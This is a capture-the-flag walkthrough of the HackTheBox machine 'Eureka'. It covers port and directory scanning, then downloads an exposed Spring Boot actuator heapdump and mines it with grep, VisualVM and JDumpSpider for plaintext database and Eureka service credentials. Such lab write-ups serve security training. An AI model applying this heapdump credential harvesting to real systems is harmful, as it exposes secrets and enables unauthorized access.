HTB: Eureka

Eureka starts with a Spring Boot website. I’ll abuse an exposed heapdump endpoint to get creds from memory and SSH access. From there I’ll poison the Spring Cloud Gateway configuration to capture login credentials for another user. To get root, I’ll abuse a Bash arithmetic injection to get execution in a script analyzing logs on a cron.
Box Info
Name | Eureka ![]() Play on HackTheBox |
---|---|
Release Date | 26 Apr 2025 |
Retire Date | 30 Aug 2025 |
OS | Linux ![]() |
Base Points | Hard [40] |
Rated Difficulty | ![]() |
Radar Graph | ![]() |
![]() |
00:53:37 |
![]() |
01:14:54 |
Creator |
Recon
nmap
nmap
finds three open TCP ports, SSH (22) and two HTTP (80, 8761):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 04:59 UTC
Nmap scan report for 10.10.11.66
Host is up (0.022s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8761/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 13.80 seconds
oxdf@hacky$ nmap -p 22,80,8761 -sCV 10.10.11.66
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-30 04:59 UTC
Nmap scan report for 10.10.11.66
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8761/tcp open unknown
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 401
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Set-Cookie: JSESSIONID=00586F517EBAA524796433BE46E03F7C; Path=/; HttpOnly
| WWW-Authenticate: Basic realm="Realm"
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Length: 0
| Date: Tue, 29 Apr 2025 20:57:39 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 401
| Vary: Origin
| Vary: Access-Control-Request-Method
| Vary: Access-Control-Request-Headers
| Set-Cookie: JSESSIONID=436FA17E5F48F95EA015E4D4CE974A23; Path=/; HttpOnly
| WWW-Authenticate: Basic realm="Realm"
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 0
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: DENY
| Content-Length: 0
| Date: Tue, 29 Apr 2025 20:57:39 GMT
| Connection: close
| RPCCheck, RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Tue, 29 Apr 2025 20:57:39 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8761-TCP:V=7.94SVN%I=7%D=4/30%Time=6811AE52%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,1D1,"HTTP/1\.1\x20401\x20\r\nVary:\x20Origin\r\nVary:\x20Ac
SF:cess-Control-Request-Method\r\nVary:\x20Access-Control-Request-Headers\
SF:r\nSet-Cookie:\x20JSESSIONID=00586F517EBAA524796433BE46E03F7C;\x20Path=
SF:/;\x20HttpOnly\r\nWWW-Authenticate:\x20Basic\x20realm=\"Realm\"\r\nX-Co
SF:ntent-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x200\r\nCache-Contr
SF:ol:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPragm
SF:a:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20DENY\r\nContent-
SF:Length:\x200\r\nDate:\x20Tue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r
SF:\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,1D1,"HTTP/1\.1\x20401\x2
SF:0\r\nVary:\x20Origin\r\nVary:\x20Access-Control-Request-Method\r\nVary:
SF:\x20Access-Control-Request-Headers\r\nSet-Cookie:\x20JSESSIONID=436FA17
SF:E5F48F95EA015E4D4CE974A23;\x20Path=/;\x20HttpOnly\r\nWWW-Authenticate:\
SF:x20Basic\x20realm=\"Realm\"\r\nX-Content-Type-Options:\x20nosniff\r\nX-
SF:XSS-Protection:\x200\r\nCache-Control:\x20no-cache,\x20no-store,\x20max
SF:-age=0,\x20must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX
SF:-Frame-Options:\x20DENY\r\nContent-Length:\x200\r\nDate:\x20Tue,\x2029\
SF:x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(R
SF:TSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;char
SF:set=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:
SF:\x20Tue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20clos
SF:e\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20St
SF:atus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"t
SF:ext/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\
SF:x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-s
SF:ize:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x
SF:20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;bac
SF:kground-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Sta
SF:tus\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>")%r(RPC
SF:Check,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/html;charset=u
SF:tf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435\r\nDate:\x20T
SF:ue,\x2029\x20Apr\x202025\x2020:57:39\x20GMT\r\nConnection:\x20close\r\n
SF:\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title>HTTP\x20Status\
SF:x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x20type=\"text/c
SF:ss\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3
SF:,\x20b\x20{color:white;background-color:#525D76;}\x20h1\x20{font-size:2
SF:2px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{fo
SF:nt-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{height:1px;backgrou
SF:nd-color:#525D76;border:none;}</style></head><body><h1>HTTP\x20Status\x
SF:20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.44 seconds
Based on package versions, the host is likely running Ubuntu 20.04 focal (though it could be 20.10 groovy).
The webserver on port 80 is returning a redirect to furni.htb
. I’ll use ffuf
to look for any subdomains that respond differently, and on not finding any, add this to my /etc/hosts
file:
10.10.11.66 furni.htb
I’ll also rescan with nmap
targeting the domain name, but it doesn’t find anything.
The webserver on TCP 8761 is returning a basic auth prompt.
Website - TCP 80
Site
The site is for a furniture store:
There are several pages, like /about
and /blog
. I’ll collect a bunch of potential usernames from both the employees list and the blog author and comments.
The Contact Us link (/contact
) has a form:

It’s weird that the email address uses a different domain than the site. I suspect that’s a mistake from the creator, as I didn’t see that used anywhere else. Submitting the form does send the data as a POST request, but there’s no other indication that this is monitored.
The Shop (/shop
) section has furniture for purchase, but if I try to add something to my cart with the plus symbol, it sends an error message:

I’ll register an account and try again, and then it goes to my cart:

There’s a checkout process, but I can’t get it to work.
Tech Stack
The HTTP request headers show nginx, as well as a bunch of others:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 29 Apr 2025 21:13:41 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Language: en-US
Content-Length: 18854
There’s nothing definitive there.
The 404 page is the default Spring Boot 404 page:

Spring Boot is a Java web framework.
Directory Brute Force
I’ll run feroxbuster
against the site, and it finds a good deal of items:
oxdf@hacky$ feroxbuster -u http://furni.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://furni.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 6l 62w 800c http://furni.htb/static/images/return.svg
200 GET 4l 23w 244c http://furni.htb/static/images/cross.svg
200 GET 5l 73w 761c http://furni.htb/static/images/bag.svg
200 GET 10l 88w 890c http://furni.htb/static/images/envelope-outline.svg
200 GET 6l 79w 1002c http://furni.htb/static/images/truck.svg
200 GET 5l 93w 814c http://furni.htb/static/images/cart.svg
404 GET 7l 12w 162c http://furni.htb/static/images/favicon.png
200 GET 4l 64w 555c http://furni.htb/static/images/user.svg
200 GET 9l 104w 1201c http://furni.htb/static/images/support.svg
200 GET 3l 50w 2177c http://furni.htb/static/css/tiny-slider.css
200 GET 73l 157w 1809c http://furni.htb/static/js/custom.js
200 GET 28l 83w 1550c http://furni.htb/login
200 GET 711l 2053w 20707c http://furni.htb/static/css/style.css
200 GET 2l 517w 31737c http://furni.htb/static/js/tiny-slider.js
404 GET 7l 12w 162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 277l 1401w 95869c http://furni.htb/static/images/person.png
302 GET 0l 0w 0c http://furni.htb/comment => http://furni.htb/login
301 GET 7l 12w 178c http://furni.htb/static/js => http://furni.htb/static/js/
301 GET 7l 12w 178c http://furni.htb/static/css => http://furni.htb/static/css/
403 GET 7l 10w 162c http://furni.htb/static/
301 GET 7l 12w 178c http://furni.htb/static/images => http://furni.htb/static/images/
200 GET 303l 829w 10738c http://furni.htb/contact
200 GET 466l 2775w 216716c http://furni.htb/static/images/product-3.png
200 GET 6l 1029w 78080c http://furni.htb/static/js/bootstrap.bundle.min.js
200 GET 331l 2201w 186760c http://furni.htb/static/images/product-1.png
200 GET 21l 64w 1159c http://furni.htb/logout
403 GET 7l 10w 162c http://furni.htb/static/css/
403 GET 7l 10w 162c http://furni.htb/static/js/
403 GET 7l 10w 162c http://furni.htb/static/images/
301 GET 7l 12w 178c http://furni.htb/static/images/products => http://furni.htb/static/images/products/
301 GET 7l 12w 178c http://furni.htb/static/images/blogs => http://furni.htb/static/images/blogs/
200 GET 569l 3442w 284339c http://furni.htb/static/images/product-2.png
302 GET 0l 0w 0c http://furni.htb/checkout => http://furni.htb/login
500 GET 1l 1w 73c http://furni.htb/error
302 GET 0l 0w 0c http://furni.htb/cart => http://furni.htb/login
405 GET 1l 3w 114c http://furni.htb/process_register
200 GET 254l 613w 9028c http://furni.htb/register
200 GET 535l 3080w 225469c http://furni.htb/static/images/blogs/2.jpg
200 GET 0l 0w 0c http://furni.htb/blog/5
200 GET 0l 0w 0c http://furni.htb/blog/6
200 GET 136l 567w 8167c http://furni.htb/blog/4
200 GET 207l 1590w 127637c http://furni.htb/static/images/person_2.jpg
200 GET 432l 1135w 14173c http://furni.htb/services
200 GET 578l 3061w 232386c http://furni.htb/static/images/products/8.png
302 GET 0l 0w 0c http://furni.htb/cart/add => http://furni.htb/login
302 GET 0l 0w 0c http://furni.htb/cart/ => http://furni.htb/login
200 GET 161l 1545w 135044c http://furni.htb/static/images/person_3.jpg
200 GET 591l 3219w 219057c http://furni.htb/static/images/products/7.png
200 GET 242l 1514w 153102c http://furni.htb/static/images/person_1.jpg
200 GET 449l 1140w 14351c http://furni.htb/about
200 GET 1393l 6087w 705961c http://furni.htb/static/images/why-choose-us-img.jpg
200 GET 894l 5474w 514630c http://furni.htb/static/images/blogs/5.jpg
200 GET 486l 2338w 210208c http://furni.htb/static/images/products/3.png
200 GET 331l 2201w 186760c http://furni.htb/static/images/products/1.png
200 GET 734l 4989w 510519c http://furni.htb/static/images/post-1.jpg
200 GET 6l 2003w 163826c http://furni.htb/static/css/bootstrap.min.css
200 GET 734l 4989w 510519c http://furni.htb/static/images/blogs/3.jpg
200 GET 466l 2775w 216716c http://furni.htb/static/images/products/4.png
200 GET 513l 2968w 364489c http://furni.htb/static/images/img-grid-2.jpg
200 GET 899l 5913w 667689c http://furni.htb/static/images/blogs/4.jpg
200 GET 1078l 6167w 487968c http://furni.htb/static/images/products/5.png
200 GET 535l 3806w 414946c http://furni.htb/static/images/img-grid-3.jpg
200 GET 607l 3098w 254672c http://furni.htb/static/images/products/6.png
200 GET 1078l 6167w 487968c http://furni.htb/static/images/sofa.png
200 GET 569l 3442w 284339c http://furni.htb/static/images/products/2.png
200 GET 352l 912w 12412c http://furni.htb/shop
200 GET 2349l 13251w 827047c http://furni.htb/static/images/blogs/1.jpg
200 GET 894l 5474w 514630c http://furni.htb/static/images/post-3.jpg
200 GET 1013l 5858w 458359c http://furni.htb/static/images/blogs/6.jpg
200 GET 398l 1025w 13568c http://furni.htb/blog
200 GET 899l 5913w 667689c http://furni.htb/static/images/post-2.jpg
200 GET 1411l 7451w 619723c http://furni.htb/static/images/couch.png
200 GET 136l 711w 8823c http://furni.htb/blog/2
200 GET 145l 793w 10004c http://furni.htb/blog/1
200 GET 136l 708w 8830c http://furni.htb/blog/3
200 GET 3096l 18300w 1972271c http://furni.htb/static/images/img-grid-1.jpg
200 GET 549l 1497w 18854c http://furni.htb/
400 GET 0l 0w 0c http://furni.htb/[
400 GET 0l 0w 0c http://furni.htb/plain]
400 GET 0l 0w 0c http://furni.htb/]
400 GET 0l 0w 0c http://furni.htb/quote]
400 GET 0l 0w 0c http://furni.htb/extension]
400 GET 0l 0w 0c http://furni.htb/[0-9]
[####################] - 5m 210072/210072 0s found:82 errors:8
[####################] - 5m 30000/30000 109/s http://furni.htb/
[####################] - 51s 30000/30000 589/s http://furni.htb/static/js/
[####################] - 50s 30000/30000 604/s http://furni.htb/static/
[####################] - 50s 30000/30000 594/s http://furni.htb/static/css/
[####################] - 51s 30000/30000 584/s http://furni.htb/static/images/
[####################] - 51s 30000/30000 590/s http://furni.htb/static/images/products/
[####################] - 51s 30000/30000 590/s http://furni.htb/static/images/blogs/
There’s nothing here I haven’t already interacted with just browsing the site.
Given the tech stack, I’ll run again with a Spring Boot-specific list:
oxdf@hacky$ feroxbuster -u http://furni.htb -w /opt/SecLists/Discovery/Web-Content/spring-boot.txt --dont-extract-links
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://furni.htb
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/spring-boot.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 2w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 6w 467c http://furni.htb/actuator/features
404 GET 0l 0w 0c http://furni.htb/actuator/env/language
404 GET 0l 0w 0c http://furni.htb/actuator/env/tz
200 GET 1l 11w 668c http://furni.htb/actuator/env/lang
200 GET 1l 1w 15c http://furni.htb/actuator/health
200 GET 1l 1w 2129c http://furni.htb/actuator
200 GET 1l 11w 668c http://furni.htb/actuator/env/home
200 GET 549l 1497w 18854c http://furni.htb/
404 GET 0l 0w 0c http://furni.htb/actuator/env/spring.jmx.enabled
400 GET 1l 2w 108c http://furni.htb/actuator/sessions
200 GET 1l 11w 668c http://furni.htb/actuator/env/path
200 GET 1l 94w 6307c http://furni.htb/actuator/env
404 GET 0l 0w 0c http://furni.htb/actuator/env/pwd
200 GET 1l 1w 20c http://furni.htb/actuator/caches
200 GET 1l 1w 3356c http://furni.htb/actuator/metrics
404 GET 0l 0w 0c http://furni.htb/actuator/env/hostname
200 GET 1l 1w 54c http://furni.htb/actuator/scheduledtasks
405 GET 1l 3w 114c http://furni.htb/actuator/refresh
200 GET 1l 1w 2c http://furni.htb/actuator/info
200 GET 1l 362w 35560c http://furni.htb/actuator/mappings
200 GET 1l 913w 202254c http://furni.htb/actuator/beans
200 GET 1l 1w 101504c http://furni.htb/actuator/loggers
200 GET 1l 5691w 184221c http://furni.htb/actuator/conditions
200 GET 1l 43w 37195c http://furni.htb/actuator/configprops
200 GET 1l 5w 2180638c http://furni.htb/actuator/threaddump
200 GET 0l 0w 80165337c http://furni.htb/actuator/heapdump
[####################] - 9s 113/113 0s found:24 errors:0
[####################] - 8s 113/113 14/s http://furni.htb/
Having the /actuator
endpoints exposed can be a significant issue, especially the /actuator/heapdump
endpoint.
Shell as oscar190
heapdump Analysis
Background
Wiz.io has a nice article from December 2024, Under the Radar: Exploring Spring Boot Actuator Misconfigurations. The top example is “#1 Exposed HeapDump file”, which seems to apply here.
The Spring Boot Actuator
heapdump
endpoint is designed to capture the current state of the Java heap, making it a valuable tool for diagnosing memory issues. However, if credentials such as passwords, tokens, cloud keys, or other secrets are loaded into the memory of a Java application’s JVM during its runtime, these might be included in the heap dump. Therefore, if accidentally configured to be publicly exposed, this endpoint could reveal this sensitive information to unauthorized users.
Download
I’ll grab a copy of the heapdump
:
oxdf@hacky$ wget http://furni.htb/actuator/heapdump
--2025-04-30 18:59:33-- http://furni.htb/actuator/heapdump
Resolving furni.htb (furni.htb)... 10.10.11.66
Connecting to furni.htb (furni.htb)|10.10.11.66|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 80165337 (76M) [application/octet-stream]
Saving to: ‘heapdump’
heapdump 100%[============================================================>] 76.45M 5.52MB/s in 14s
2025-04-30 18:59:48 (5.36 MB/s) - ‘heapdump’ saved [80165337/80165337]
Strings
There are many ways to look at this heapdump. I’ll start looking for strings in the memory dump. There are a a lot:
oxdf@hacky$ strings heapdump > heapdump_strings
oxdf@hacky$ wc -l heapdump_strings
480688 heapdump_strings
I can try grepping for some of the patterns from the wiz.io article (with some additional greps included to remove false positives), but it doesn’t find anything useful:
oxdf@hacky$ strings heapdump | grep -iv KeyJ | grep -B 2 -A 2 "eyJ"
YU17vpCYm7plGv3eg2jXgpqtebZzuJzWbIrqzDMOj6E=!
org/bouncycastle/util/test/FixedSecureRandom$Data.class!
eKyMTA86R4iSI1Rxp1eyJvLpYFWch8NKUvIqO3OE/8k=!
META-INF/versions/9/org/bouncycastle/math/ec/endo/GLVTypeBParameters.class!
l8qczsrdpxugi/MjAQVueMlbUf3FWu0uTgBdiDzvJuQ=!
oxdf@hacky$ strings heapdump | grep -B 2 -A 2 "AKIA"
oxdf@hacky$ strings heapdump | grep -E "^Host:\s+\S+$" -C 10
Keep-Alive: timeout=60
Connection: keep-alive
VJ,(
V*K-*
SRsJ
Utlm-
GET /eureka/apps/delta HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Accept-Encoding: gzip, x-gzip, deflate
Host: localhost:8761
Connection: keep-alive
User-Agent: Apache-HttpClient/5.3.1 (Java/17.0.11)
;cH!
http-outgoing-2!
Accept-Encoding!
;(p!
;A`!
;'x!
Apache-HttpClient/5.3.1 (Java/17.0.11)!
;Vp!
--
X-Frame-Options: DENY
Content-Length: 0
Date: Thu, 01 Aug 2024 18:29:30 GMT
Keep-Alive: timeout=60
Connection: keep-alive
PUT /eureka/apps/FURNI/eureka:Furni:8082?status=UP&lastDirtyTimestamp=1722535252684 HTTP/1.1
Accept: application/json, application/*+json
Authorization: Basic RXVyZWthU3J2cjowc2NhclBXRGlzVGhlQjNzdA==
Accept-Encoding: gzip, x-gzip, deflate
Content-Length: 0
Host: localhost:8761
Connection: keep-alive
User-Agent: Apache-HttpClient/5.3.1 (Java/17.0.11)
;cH!
2>s(!
httponly!
UP_3_!
multiple '%s' headers found!
Attempted read on closed stream.!
No more header elements available!
PacketReader.10!
VisualVM
A post called Debugging Spring Boot Applications for Memory Leaks talks about how to look at heapdump files, and shows a tool, VisualVM. I’ll download a copy from the download page, unzip it, and run visualvm_22/bin/visualvm
. I’ll open the heapdump
file:

Another post, Analyzing Java Heap Dumps via OQL queries shows how to query the memory for various strings but moving to the OQL Console:

It suggests searchign for strings that contain “jwt”:

None of these prove useful, but I have a technique This returns only five results, where just using grep
returns 17, and the others are likely false positives.
Searching for “password” returns a bunch more, but still a manageable amount to scroll through, and one jumps out:

It’s a Java database connectivity (JDBC) string:
jdbc:mysql://localhost:3306/Furni_WebApp_DB§{password=0sc@r190_S0l!dP@sswd, user=oscar190}
It has a password and username.
I will also look for other URIs in the memory by searching for “://”. One interesting hit is:

There’s some interaction with TCP 8082. There’s the GitHub URL for jackson, which implies some data encoding / decoding.
There’s also a connection string for localhost:8761
with a password:

I’ll filter down a bit more and look at all the URI’s with “localhost” or “eureka”:

Nothing else groundbreaking, other than to say there’s a lot of strings with ports 8081, 8082, and 8761.
JDumpSpider
JDumpSpider is a tool for pulling interesting information out of a heapdump
. I’ll download the latest JAR and pass it the heapdump
, and it generates only 169 lines of output:
oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump | wc -l
169
Full:
oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
java.io.IOException: Invalid HPROF version 3 loaded 5
at org.graalvm.visualvm.lib.jfluid.heap.HprofHeap.<init>(HprofHeap.java:378)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.loadHeap(HeapFactory.java:96)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:79)
at org.graalvm.visualvm.lib.jfluid.heap.HeapFactory.createHeap(HeapFactory.java:55)
at org.graalvm.visualvm.lib.jfluid.heap.GraalvmHeapHolder.<init>(GraalvmHeapHolder.java:18)
at cn.wanghw.Main.call(Main.java:96)
at cn.wanghw.Main.run(Main.java:33)
at cn.wanghw.Main.main(Main.java:63)
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
WeblogicDataSourceConnectionPoolConfig
-------------
not found!
===========================================
MongoClient
-------------
not found!
===========================================
AliDruidDataSourceWrapper
-------------
not found!
===========================================
HikariDataSource
-------------
java.lang.NumberFormatException: Cannot parse null string
not found!
===========================================
RedisStandaloneConfiguration
-------------
not found!
===========================================
JedisClient
-------------
not found!
===========================================
CookieRememberMeManager(ShiroKey)
-------------
not found!
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
MutablePropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
local.server.port = null
spring.cloud.client.hostname = eureka
===========================================
MapPropertySources
-------------
spring.cloud.client.ip-address = 127.0.0.1
spring.cloud.client.hostname = eureka
local.server.port = null
===========================================
ConsulPropertySources
-------------
not found!
===========================================
JavaProperties
-------------
not found!
===========================================
ProcessEnvironment
-------------
not found!
===========================================
OSS
-------------
org.jboss.logging.provider = slf4j
===========================================
UserPassSearcher
-------------
org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter:
[oauth2LoginEnabled = false, passwordParameter = password, formLoginEnabled = true, usernameParameter = username, loginPageUrl = /login, authenticationUrl = /login, saml2LoginEnabled = false, failureUrl = /login?error]
[oauth2LoginEnabled = false, formLoginEnabled = false, saml2LoginEnabled = false]
org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter:
[passwordParameter = password, usernameParameter = username]
org.antlr.v4.runtime.atn.LexerATNConfig:
[passedThroughNonGreedyDecision = false]
org.antlr.v4.runtime.atn.ATNDeserializationOptions:
[generateRuleBypassTransitions = false]
org.hibernate.boot.internal.InFlightMetadataCollectorImpl:
[inSecondPass = false]
com.mysql.cj.protocol.a.authentication.AuthenticationLdapSaslClientPlugin:
[firstPass = true]
com.mysql.cj.protocol.a.authentication.CachingSha2PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.protocol.a.authentication.Sha256PasswordPlugin:
[publicKeyRequested = false]
com.mysql.cj.NativeCharsetSettings:
[platformDbCharsetMatches = true]
com.mysql.cj.protocol.a.NativeAuthenticationProvider:
[database = Furni_WebApp_DB, useConnectWithDb = true, serverDefaultAuthenticationPluginName = mysql_native_password, username = oscar190]
com.mysql.cj.jdbc.ConnectionImpl:
[password = 0sc@r190_S0l!dP@sswd, database = Furni_WebApp_DB, origHostToConnectTo = localhost, user = oscar190]
com.mysql.cj.conf.HostInfo:
[password = 0sc@r190_S0l!dP@sswd, host = localhost, user = oscar190]
com.zaxxer.hikari.pool.HikariPool:
[aliveBypassWindowMs = 500, isUseJdbc4Validation = true]
org.springframework.cloud.netflix.eureka.EurekaClientConfigBean:
[eurekaServerConnectTimeoutSeconds = 5, useDnsForFetchingServiceUrls = false, eurekaServerReadTimeoutSeconds = 8, eurekaServerTotalConnections = 200, eurekaServiceUrlPollIntervalSeconds = 300, eurekaServerTotalConnectionsPerHost = 50]
org.springframework.boot.autoconfigure.security.SecurityProperties$User:
[password = 4312eecb-54e8-46b9-a645-5b9df3ea21d8, passwordGenerated = true]
org.springframework.boot.autoconfigure.jdbc.DataSourceProperties:
[password = 0sc@r190_S0l!dP@sswd, driverClassName = com.mysql.cj.jdbc.Driver, url = jdbc:mysql://localhost:3306/Furni_WebApp_DB, username = oscar190]
org.springframework.security.authentication.dao.DaoAuthenticationProvider:
[hideUserNotFoundExceptions = true]
com.zaxxer.hikari.HikariDataSource:
[keepaliveTime = 0, password = 0sc@r190_S0l!dP@sswd, jdbcUrl = jdbc:mysql://localhost:3306/Furni_WebApp_DB, driverClassName = com.mysql.cj.jdbc.Driver, username = oscar190]
org.apache.catalina.startup.Tomcat:
[hostname = localhost]
===========================================
CookieThief
-------------
not found!
===========================================
AuthThief
-------------
java.util.LinkedHashMap$Entry:
org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer = o.s.s.c.a.a.c.InitializeUserDetailsBeanManagerConfigurer$InitializeUserDetailsManagerConfigurer
org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer = o.s.s.c.a.a.c.InitializeAuthenticationProviderBeanManagerConfigurer$InitializeAuthenticationProviderManagerConfigurer
===========================================
Some of the highlights include both passwords:
oxdf@hacky$ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
Loading heap dump heapdump from cache failed.
...[snip]...
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
...[snip]...
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
